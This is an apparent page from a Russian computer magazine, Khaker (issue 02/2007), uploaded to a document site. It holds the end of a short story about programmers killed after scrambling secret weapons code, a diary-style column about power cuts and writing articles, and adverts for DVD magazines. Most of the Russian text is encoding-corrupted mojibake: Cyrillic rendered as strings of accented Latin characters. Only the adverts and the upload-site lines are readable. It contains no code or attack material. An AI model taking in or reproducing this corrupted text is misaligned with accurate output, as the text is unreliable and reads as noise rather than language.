ïîíÿòèÿ íåñîâìåñòíûå. Ãåíèé èçëîäåéñòâî ïðîãðàììåðñêîé ìûñëè. Íàëè÷èå óòþãà íå óëó÷øèò ïîëåòíûõêà÷åñòâ êîñìè÷åñêîãî êîðàáëÿ — ñàì æå êîðàáëü ñâîåé ìàññîéïðîñòî ïîõîðîíèò ïîíÿòèå «óòþã», ïðåâðàòèâ åãî â… Ïðåâðàòèâ åãî…Àëìàçîâ äàæå çàêðûë ðîò ðóêîé, ÷òîáû íå äàé áîã çâóêè íåâûðâàëèñü íà ñâîáîäó. Óâëå÷åííûé ðàáîòîé Ðûêîâ íå çàìå÷àë âîêðóãíè÷åãî — êàçàëîñü, îí óæå ðàñïðåäåëèë âåñü ñâîé ãîíîðàð èòîëüêî è æäåò òîãî ÷àñà, êîãäà ìîæíî áóäåò òðàòèòü äåíüãè. Ðàáîòàëîí ñ óïîåíèåì…«Ñóäÿ ïî âñåìó, ïîòåíöèàë ó íåãî íåïëîõîé, — ïîäóìàëîñü Àëìàçîâó.— Åùå ïàðà ÷àñîâ — è îí äîñðî÷íî âûïîëíèò ðàáîòó. Ñîåäèíèòóòþã ñ «÷åëíîêîì»… Íåóæåëè îí íå çàìåòèò ñòîëü î÷åâèäíûõâåùåé?»— Ïðîøó, êîëëåãà, — âíåçàïíî âñòàë èç-çà êîìïüþòåðà Ðûêîâ. — Âàøàî÷åðåäü. Ìíå êîå-÷òî íåïîíÿòíî â âàøèõ ïîñòðîåíèÿõ — äóìàþ, âûëó÷øå ñïðàâèòåñü. Ó âàñ òàì ïàðà ìåñò åñòü — áåç ïîë-ëèòðà íå ðàçîáðàòüñÿ.ß, çíàåòå, âñå áîëüøå íà Àññåìáëåðå…— Ñïàñèáî. Ïðàêòè÷åñêè êîìïëèìåíò, — êèâíóë Àëìàçîâ è ñåë íà îñâîáîäèâøååñÿìåñòî. — Äà âû óæå ñåðüåçíî ïðîäâèíóëèñü âïåðåä…


Õâàëþ. Íàì áû ñ âàìè ëåò ïÿòü íàçàä âñòðåòèòüñÿ — íåïëîõîé òàíäåìáû ïîëó÷èëñÿ.Ðûêîâ óëûáíóëñÿ è âû÷óðíî ïîêëîíèëñÿ. Ëåñòü îí ëþáèë…Àëìàçîâ ñïðàâèëñÿ ñ çàäà÷åé äîâîëüíî áûñòðî. Êàæäûé ðàç îáíîâëÿÿñîäåðæèìîå ëèñòèíãà è ïðîâåðÿÿ åãî íà íàëè÷èå êðèòè÷åñêèõ îøèáîê, îí âñïîìèíàëòîãî ÷åëîâåêà ñ àâòîìàòîì íà ïëîùàäêå è çàòûëêîì îùóùàë ïðèñóòñòâèåÐûêîâà, êîòîðûé âíèìàòåëüíî íàáëþäàë çà õîäîì ðàáîòû èç-çà ñïèíû.— Ãîòîâî, — âñòàë ñî ñâîåãî ìåñòà Àëìàçîâ. — Äóìàþ, ÷òî ñ çàäà÷åé ìûñïðàâèëèñü. Âàøà è ìîÿ ïðîãðàììû ñðàùåíû íàìåðòâî — íî ïðè îïðåäåëåííîìóñëîâèè èõ ìîæíî çàïóñêàòü, îäíó èç-ïîä äðóãîé…— Ìîæíî, — óäîâëåòâîðåííî êèâíóë Ðûêîâ. — À ìîæíî è ðàçäåëèòü…— Âû óâåðåíû? — Àëìàçîâ ïðèùóðèëñÿ.— À êàê æå? — óäèâèëñÿ òîò âîïðîñó. — ß ñîçäàë ñïåöèàëüíûé êîä, êîòîðûéàêòèâèðóåòñÿ, êîãäà ýòî áóäåò íóæíî…— Êàêîé êîä? — Àëìàçîâ íàñòîðîæèëñÿ.— À ðàçâå íåïîíÿòíî? ß âîò ñèäåë çà êîìïüþòåðîì è âñå âðåìÿ äóìàë —÷òî ìû äåëàåì? — Ðûêîâ ðàçâåë ðóêàìè. — Íåëüçÿ æå ïðîñòî òàê êëàöàòüêëàâèøàìè è íå ñïðàøèâàòü ñåáÿ î òîì, ÷òî òû äåëàåøü… Ýòî âûøëî êàêòîíåïðîèçâîëüíî. È âåäü âìåñòî äâàäöàòè ÷åòûðåõ ÷àñîâ ìû óëîæèëèñüâ ñåìü. Ðàçâå ìû íå ìîëîäöû? Òàê åñòü õî÷åòñÿ! À âàì? Õîòÿ ïîíèìàþ —âîçëå õîëîäèëüíèêà ìåðòâåö. Ìíå òîæå, çíàåòå, òóäà èäòè íå õî÷åòñÿ...Îí âçãëÿíóë íà ýêðàí è ðàäîñòíî ñîîáùèë:— À Èíñòðóêòîð âñå ýòî âðåìÿ áûë ñ íàìè, ïðåäñòàâëÿåòå? Íàäî áûñòðååñ íèì ñâÿçàòüñÿ. Ñîîáùèòü, òàê ñêàçàòü, ïðèÿòíóþ íîâîñòü…Àëìàçîâ õîòåë îñòàíîâèòü åãî, íî ýòî áûëî áåñïîëåçíî — âîîäóøåâëåííûéóñïåõîì Ðûêîâ óæå íàáèðàë ñîîáùåíèå.Ùåëêíóë çàìîê íà âõîäíîé äâåðè. Ðûêîâ âçäðîãíóë.— Êòî ýòî ìîæåò áûòü?Àëìàçîâ îòðèöàòåëüíî ïîêà÷àë ãîëîâîé è íå èçäàë íè çâóêà.— Îí ïèøåò… — øåïíóë Ðûêîâ, íàñòîðîæåííî ïðèñëóøèâàÿñü ê òîìó, ÷òîïðîèñõîäèëî â êîðèäîðå è ãëÿäÿ íà ýêðàí. — Ïèøåò…Òî, ÷òî ïðèøëî ïîñëåäíèì â ñîîáùåíèè îò Èíñòðóêòîðà, ïðèâëåêëî âíèìàíèåÐûêîâà. Îí íàêëîíèëñÿ ïîáëèæå, ïåðå÷èòàë, à ïîòîì íåïîíèìàþùèìâçãëÿäîì ïîñìîòðåë íà Àëìàçîâà è ñêàçàë:— ×óøü êàêàÿ-òî… Ñêàçàë ìíå ïîäíÿòü ðóêó…Îí óñïåë âûïðÿìèòü ïðàâóþ ðóêó òîëüêî äî óðîâíÿ ïëå÷à — íî ÷åëîâåêóñ àâòîìàòîì ýòîãî õâàòèëî. Ïðèêàç áûë îäíîçíà÷íûì — îñòàâèòü â æèâûõ÷åëîâåêà ñ ïîäíÿòîé ðóêîé.È î÷åðåäü âîøëà â Àëìàçîâà…* * * * *Êîìàíäóþùèé õèùíî ñìîòðåë íà îòêðûòûé ÷åìîäàí÷èê ñ äåíüãàìè. Ëóêîâíèêîâñòîÿë ñáîêó îò ãåíåðàëà, ñòàðàÿñüíå ïîïàäàòüñÿ òîìó íà ãëàçà.— ×åãî-òî ÿ íå ïîíÿë… — êîìàíäóþùèéïîäîøåë ïîáëèæå, ïðèêîñíóëñÿêîí÷èêîì ïàëüöà ê ïà÷êàì äåíåã. —Ëóêèíà â ðàñõîä…— Òàê òî÷íî, òîâàðèù ãåíåðàë-ëåéòåíàíò,— Ëóêîâíèêîâ êèâíóë. — Âûïîëíèâ÷åòûðå íàøèõ çàäàíèÿ îí, êàê ÷åëîâåêáåçóïðå÷íîé ëîãèêè, âû÷èñëèëíàñ. Äàþ ñòî äâà ïðîöåíòà ãàðàíòèè.Ñìûñëà æäàòü, êîãäà íà ïÿòîì çàäàíèèîí íà÷íåò íàñ øàíòàæèðîâàòü, íåáûëî. Ïîòîìó è ïîëó÷èë ïóëþ.— Ðàçóìíî, — ãåíåðàë äîñòàë îäíóïà÷êó, ïðîëèñòíóë åå ïàëüöåì. — Òûæå ìåíÿ çíàåøü — â òàêèõ ñëó÷àÿõìíå âñå ðàçæåâûâàòü íàäî. Âîçðàñò,çâàíèå… Êîðî÷å, ñêèäêó äåëàéâ ñëåäóþùèé ðàç.— Ñëóøàþñü, — Ëóêîâíèêîâ êîçûðíóë.— Èìåÿ ïîòåíöèàëüíûé òðóï Ëóêèíà,ÿ åùå äî åãî ëèêâèäàöèè ñòàëèñêàòü òîãî, êòî ñìîã áû åãî çàìåíèòü.Íàøëèñü äâîå. Ïðè÷åì îäèí èçíèõ — Àëìàçîâ — èìåë íåïîñðåäñòâåííûéêîíòàêò ñ òîé êîíòîðîé,÷üþ ïðîäóêöèþ ìû ïóñêàëè çà ãðàíèöó.Ìîå ìíåíèå áûëî ïîíà÷àëó îäíîçíà÷íûì— Ðûêîâà â ïîìîùíèêè,Àëìàçîâà çàïèøåì â ãåðîè, ïîñëåðàáîòû Ðûêîâà óáåðåì.—  ïðèíöèïå, ïîíèìàþ. È îäîáðÿþ, — ãåíåðàë ïîêà÷àë ãîëîâîé. — ×òî æåèçìåíèëîñü?—  õîäå ðàáîòû Ðûêîâ ñîçäàë òî, î ÷åì ìû è íå ìå÷òàëè. Îí ñîçäàë ïðîöåäóðóïî ðàçäåëåíèþ…— Ïîïðîùå, — ãåíåðàë ñìîðùèëñÿ, êàê îò ñòàêàíà êèñëîãî ñîêà. —Áåç âñåõ ýòèõ…— Õîðîøî. Åñëè âû ïîìíèòå, Ëóêèí ñîçäàâàë äëÿ íàñ òî, ÷òî íîñèëî íàçâàíèå«èíôîðìàöèîííûé ìóñîð». Ìû áðàëè ïðîåêòû ñåêðåòíîãî âîîðóæåíèÿ,ïðåâðàùàëè èõ ñ ïîìîùüþ Ëóêèíà â íå÷òî ñîâåðøåííî íåôóíêöèîíàëüíîå,ïîñëå ÷åãî ïðîäàâàëè çàêàç÷èêàì. Ïîíÿòü, ÷òî æå ìû ïðîäàåì, ìîã òîëüêîòîò, êòî èìåë íà ðóêàõ ôàéë îòêàòà, îòäåëüíî ñîçäàâàåìûé Ëóêèíûì äëÿ ðàçäåëåíèÿêîäîâ.— Òàê çà÷åì æå òû óáðàë òàêîãî öåííîãî ðàáîòíèêà?— ß âàì íå ãîâîðèë, òîâàðèù ãåíåðàë… Íî â ïîñëåäíèé ðàç Ëóêèí ðåøèë íåïðîñòî ïîëó÷èòü ãîíîðàð. Îí ðåøèë ïðîäàòü ýòîò ñàìûé ôàéë… ß çàïëàòèëåìó îòñòóïíîãî — òîëüêî ÷òîáû ñäåëêà íå ñîðâàëàñü. Çàïëàòèë èç ñâîèõ êîìèññèîííûõ.À âû ìíå ïðî ãàðàæ…— Íå íîé, — ãåíåðàë ïîõëîïàë åãî ïî ïëå÷ó. — Êîìïåíñèðóþ. Ðàññêàçûâàéäàëüøå.— Âî âðåìÿ ïîñëåäíåé îïåðàöèè Ðûêîâ ñóìåë âñòðîèòü â ýòîò ñàìûé«èíôîðìàöèîííûé ìóñîð» ïðîöåäóðó, ñóùåñòâåííî óñêîðÿþùóþïðîöåññ âû÷ëåíåíèÿ ìîäóëÿ ñòðåëüáû. Ïðè ýòîì îí ñóìåë ñîõðàíèòüôóíêöèîíàëüíîñòü êàæäîé ïðîãðàììû â îòäåëüíîñòè — íåñìîòðÿ íà èõìîíîëèòíîå ñëèÿíèå. È îí ñäåëàë ýòî çà ñåìü ÷àñîâ ïðè ïðàêòè÷åñêèïîëíîì íåâìåøàòåëüñòâå Àëìàçîâà — èáî Àëìàçîâó âñå áûëî ðàçúÿñíåíîñ ñàìîãî íà÷àëà.—  ñìûñëå?— Àëìàçîâ çíàë, ÷òî Ðûêîâà ïîñëå ðàáîòû óáüþò. Çíàë — è íå ìåøàë åìóäåëàòü ãåíèàëüíóþ ðàáîòó. Êîãäà ÿ ïîíÿë, ÷òî ïîëó÷èëîñü â èòîãå — ïðèíÿëðåøåíèå…— À åñëè áû îí íå ñîîáðàçèë? Åñëè áû íå ïîäíÿë ðóêó — ÷òî òîãäà? — ãåíåðàëçàõëîïíóë ÷åìîäàí÷èê è õèòðî ïðèùóðèëñÿ.— Íà ýòîò ñëó÷àé òîæå áûë ïðèêàç.— Êàêîé?— Ïóñòü ýòî îñòàíåòñÿ ìîåé ïðîôåññèîíàëüíîé òàéíîé, — óëûáíóëñÿ ïîäïîëêîâíèê.— Íó, Ïåñòàëîööè… — ãåíåðàë óõìûëüíóëñÿ.— ×èïïîëèíî, — ïîïðàâèë åãî Ëóêîâíèêîâ.— Òî÷íî. Ãîðå òû ìîå… ëóêîâîå… Çàâòðà ïðèêàç ïîäïèøó. Íà ïðèñâîåíèåî÷åðåäíîãî çâàíèÿ. — Òîëüêî òû áîëüøå ãåíèåâ â òàêèõ êîëè÷åñòâàõ íå ðàññòðåëèâàé.Ïèíî÷åò…Ëóêîâíèêîâ ñîãëàñíî êèâíóë…111 |


112 | ÎÔÔÒÎÏÈÊèñõîäíèêèâñåëåííîéÊÎËÎÍÊÀ ÊÐÈÑÀ ÊÀÑÏÅÐÑÊÈÏÎÒÎÊÑÎÇÍÀÍÈß IV…Ïðîñíóëñÿ îêîëî ïîëóäíÿ, çàñíóââ÷åðà óæå ïîñëå 4-õ ÷àñîâ. Íó, ïîëóäíåìýòî ìîæíî áûëî íàçâàòüëèøü ñ áîëüøîé íàòÿæêîé.  ìîåéíîðå öàðèëà ïîëóòüìà, ñ îêîí äàâèëîñåðîå íåáî, ñëûøàëîñü, êàê äóåòïîðûâèñòûé âåòåð. Âñòàâàòü ñîâåðøåííîíå õîòåëîñü, íî âïåðåäè áûëàêó÷à äåë, òàê ÷òî ïðèøëîñü ïîäíàïðÿ÷üñâîé õâîñò (çàòî óæå íà÷èíàþïîñòåïåííî ñìåùàòüñÿ ê ñâîåìóîáû÷íîìó íîðìàëüíîìó íî÷íîìóãðàôèêó), íî äåëàì îñóùåñòâèòüñÿíå óäàëîñü. Ïðàêòè÷åñêè ñðàçó æåîòðóáèëè ñâåò. Ñåé÷àñ ñèæó íà óïñå(«ñèæó» — â ïåðåíîñíîì ñìûñëå).Óïñà ñ ÷åñòüþ âûäåðæàëà 3 ñ íåáîëüøèì÷àñà, îñòàâèâ åùå 39%ýíåðãèè íà áîðòó, à ìûùúõ òåì âðåìåíåìëèõîðàäî÷íî øàðèë ïî Ñåòèâ ïîèñêàõ, ÷åãî áû òàêîãî õîðîøåãîçàæåâàòü. Óçíàë ìíîãî íîâîãî, à íàðûëåùå áîëüøå! Íåðâíè÷àë, êîíå÷íî!Âñå-òàêè áåç ñâåòà òàêîé äèñêîìôîðò.Çàòî ïîòîì, êîãäà çàãîðåëñÿñâåò, íà÷àë äåëàòü ðîëèêî òîì, êàê àíòèâèðóñû ðóãàþòñÿ íàðàçíûå õîðîøèå ôàéëû. Äàæå âñïîòåë.Âñå îêàçàëîñü ñëîæíåå, ÷åììûùúõ ïîíà÷àëó äóìàë. Òî÷íåå, íåñòîëüêî ñëîæíåå, ñêîëüêî ìóòîðíååè óòîìèòåëüíåå. Íóæíî ïîñòîÿííîäåðæàòü õâîñò íà âçâîäå è ñîñðåäîòî÷åííîòî÷èòü êëàâèàòóðó, ÷òî ïðèðàññåÿííîì âíèìàíèè íå ïîëó÷àåòñÿ.Íî ýòî ëàäíî. Ñ ÷åðåìóõè îáëåòåëèâñå ëèñòû, è îíà ñòîèò ãîëàÿè áåñõâîñòàÿ, êàê äðîæàùèé íà âåòðóìûùúõ, à âåòåð íàäîáíî ñêàçàòü…èìååòñÿ… âìåñòå ñ ëåíèâûìäîæäåì: óæå ïîëíî÷ü. Âíåçàïíî ðàçáîëåëàñüãîëîâà è õî÷åòñÿ ñïàòü, íîâïåðåäè åùå ïîëñòàòüè è õâîñò. Èìíàäî êðóòèòü!!!…Çàñíóë â øåñòîì ÷àñó, à ïðîñíóëñÿ,êîãäà åùå íå áûëî è îäèííàäöàòè.Çà îêíîì åäâà ñëûøíî øóìåëõîëîäíûé äîæäü, îáðàçîâàâøèé ëóæèè èçìî÷àëèâøèé Ëàäêó (Ëàäêà —ýòî ñîáàêà òàêàÿ), ïðûãàþùóþ íåïîíÿòíîîò êàêîãî âîñòîðãà, êîòîðûéìûùúõ ñîâñåì íå ðàçäåëÿë. Âî âñåìòåëå îùóùàëàñü ñèëüíàÿ óñòàëîñòü,áîëåëà ãîëîâà, à âïåðåäè: íó, âïåðåäèáûë ïðîñòî îáû÷íûé ðàáî÷èéäåíü. Òåìíûé è ìðà÷íûé. Íî çàòî ïîòîììîæíî áóäåò äâà âûõîäíûõ îòäîõíóòü.Õðåí, ÷òî ÿ íà÷íó äåëàòüðàíüøå ïîíåäåëüíèêà, õîòü ïîòîìè ïðèäåòñÿ ïèñàòü ñðàçó òðè ñòàòüè,ïî îäíîé â äåíü. Íåò, îïðåäåëåííîâ òàêîì ðåæèìå ÿ äîëãî íå ïðîòÿíó……Âûõîäíûå ïðîøëè â ïðîñìîòðåïàðû ôèëüìîâ, âûñàäèâøèõ ìûùúõ'àíà òàêóþ óñòàëîñòü, ÷òî â âîñêðåñåíüåáëèæå ê ïîëóíî÷è îí áûëóæå ñîâñåì íèêàêîé è, ïîìó÷èâ ñâîéõâîñò, ïðîâàëèëñÿ â íåðâíûé ñîí,ïðîñûïàÿñü íåñêîëüêî ðàç — â ïîñëåäíèéðàç â ñåäüìîì ÷àñó, êîãäàè âñòàë. Âîñõîäÿùåå ñîëíöå, ïðîñâå-÷èâàþùåå ñêâîçü îáëàêà, ïîäñâå÷èâàëîèíåé íà êàëèíå, óæå ñáðîñèâøåéïî÷òè âñå ëèñòüÿ. Òàê íà÷èíàëàñüî÷åðåäíàÿ ðàáî÷àÿ íåäåëÿ, íàêîòîðóþ áûëî çàïëàíèðîâàíî ÷åòûðåñòàòüè, íî âñå ñðî÷íûå, âûñàäíûå èêàêèå-òî ñîâåðøåííî íåêîíêðåòíûå.…Âñþ íî÷ü ïðîâîçèëñÿ ñ ïîäãîòîâêîéâèäåî äëÿ Õàêåðà, òàê ÷òîçàñûïàë óæå íà ðàññâåòå. Ñîñòîÿíèåòàêîå: â îáùåì, êîëáàñíîå. Çàæèâîçàêîï÷åííîå. È ñâåðõó áóëüäîçåðîìïåðååõàííîå. Óñòàëîñòüñòðàøíàÿ. Íåðâû — íè ê ÷åðòó.Òâîð÷åñêèé êðèçèñ, ðàññåÿííîå âíèìàíèå,íåñïîñîáíîñòü ñîñðåäîòî-÷èòüñÿ íà ÷åì-òî îäíîì, îòñóòñòâèåíîâûõ èäåé. Íó, è òðàäèöèîííûåêîøìàðû ïî íî÷àì. Îïÿòü íà÷àëïðèíèìàòü ôåíàçåïàì è ïîïóñòèëî:õâîñò ïîäíÿëñÿ è çàòðåïåòàë. È õîòÿêðóòèòü èì æåëàíèÿ íåò, ïî êðàéíåéìåðå, ìîæíî íàäåÿòüñÿ íà òî, ÷òîóäàñòñÿ âîéòè â îáû÷íûé ðàáî÷èéðèòì.…Îïÿòü çàñíóë íà ðàññâåòå (äàåùå è ñ ãîëóáûì íåáîì — æóòü!) ïîäâèçã penumr'û, ðàçäèðàþùåé èíòåãðèðîâàííûéáëàñòåð íà EPOX'å. Âñå!Äîâîëüíî! Òåïåðü çàñûïàþ òîëüêîïîä íîðìàëüíûé ìóçîí ñî ñâîåãîñòàðîãî-äîáðîãî P-III!…Ïðîñíóëñÿ óæå â òåìíîòå,îêîëî øåñòè, ïðîâîæàÿ â÷åðàøíèéäåíü ìåäëåííî óãàñàþùèì êâàäðàòîìîêíà. ßðêî, íî ñîâñåì íå çëîáíîãîðåë êðàñíûé ãëàçîê ïåðåíîñêè, ïîêîÿùåéñÿíà 700VA óïñå. Åäâà ñëûøíîãîíÿëà âîçäóõ ñâîèì âåíòèëÿòîðîì2200VA. Âñòàâàòü ñîâåðøåííîíå õîòåëîñü. Ïà÷êà ôåíàçåïàìà äåëàëàñâîå äåëî, êîøìàðû ñãëàæèâàëèñü,äåëàòü íè÷åãî íå õîòåëîñü,òîëüêî ëåæàòü íà òîï÷àíå, ìåäëåííîïîãðóæàÿñü âî òüìó: íåîæèäàííîíà ïîòîëêå âñïûõíóë ÿðêèé áåëûéêâàäðàò. Ýòî ñðàáîòàë ñîòîâûé òåëåôîí,ïðèíèìàþùèé SMS'êó èëè íåò…Ñêîðåå âñåãî íå SMS'êó, à âõîäÿùèéçâîí. Íó, çâîíîê ÿñíîå äåëî îò êîãî.Âñå-òàêè õîðîøî áûòü õîëîñòÿêîì!(òîëüêî ïîíèìàåøü ýòî ñëèøêîìïîçäíî, êîãäà êó÷à ñèë è ýíåðãèèðàñòðà÷åíû âïóñòóþ). Êîðî÷å,ìûùúõ âñå-òàêè ïîäíÿëñÿ, íàùóïàëëàïàìè òàïêè, ñî âòîðîé ïîïûòêèâêëþ÷èë 700VA, à â ñëåä íà çà íåéè 2200VA, êàê îáû÷íî íà ìãíîâåíèåâñïûõíóâøóþ êðàñíûì îãîíüêîì. Íà-÷èíàëñÿ íîâûé òðóäîâîé äåíü. Òî÷íååíî÷ü. Íî ýòî íåâàæíî. Çà îêíîìáûëà çèìà, ñêâîçü îêíî ïðîñâå÷èâàëèçâåçäû è ìîðîç.  ïëàíàõ áûëàïåðâàÿ ÷àñòü ñòàòüè äëÿ SYS'à,íî ýòèì ïëàíàì ñáûòüñÿ íå óäàëîñü.Òåêó÷êà. Ïîäãîòîâèòü îäíî, îòðåäàêòèðîâàòüäðóãîå. Âîò òàê âðåìÿè èäåò. Äà åùå ñ XviD'îì íà÷àë ýêñïåðèìåíòèðîâàòü,ïûòàÿñü âûæàòüèç íåãî ìàêñèìàëüíîå êà÷åñòâî ïðèìèíèìàëüíîì ðàçìåðå. Êîðî÷å, âîòòàêàÿ ðàçìåðåííàÿ æèçíü ìåäëåííîïðèõîäÿùåãî â ôîðìó ìûùúõ'à, çàñûïàâøåãîóæå â ïðåäðàññâåòíîìïîëóìðàêå


Думаешь, что посмотреть сегодня вечером?Выбираем кино с TOTAL DVD!Все о кино – читай о блокбастерах месяца, размышляй о лентахвместе со звездами, выбирай на какой сеанс пойти•Все о DVD – самые лучшие релизы месяца, более 50 обзоров, мореинтервью•...и немного о технологиях будущего! Телевидение высокойчеткости, плазмы и многое другое!Total DVD – ультимативный журнал для киноманов!Каждый журнал комплектуется DVD-приложением с великолепнымполнометражным фильмом категории «А» (качество изображения и звука надиске соответствует лучшим мировым релизам), подборкой трейлеров и анонсовновых картин и роликами к DVD-релизам.Ищешь себе технику для домашнего кинотеатра?«DVD Эксперт» – самый лучший гид по аудиовидео-новинкам!Все о Hi-Fi, High End и Home Cinema!•Пошаговые инструкции по составлению и инсталляции системыдомашнего кино•Лучшие системы и компоненты месяца – рай для новичков. Более 50самых новых моделей в оценочных и сравнительных тестах•Готовые системы, интервью, самые свежие новости индустрииВсегда на лезвии прогресса!Выбираем домашний кинотеатр с журналом «DVD Эксперт»!Сейчас это стильно, это модно, это доступно, это просто!Каждый журнал комплектуется DVD-приложением с великолепным полнометражнымфильмом категории «А» (качество изображения и звука на диске соответствуетлучшим мировым релизам) и тестами для настройки системы хоум синема.


ÔÀÒÀËÜÍÀß ÈÍÚÅÊÖÈß 02|75|2007

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!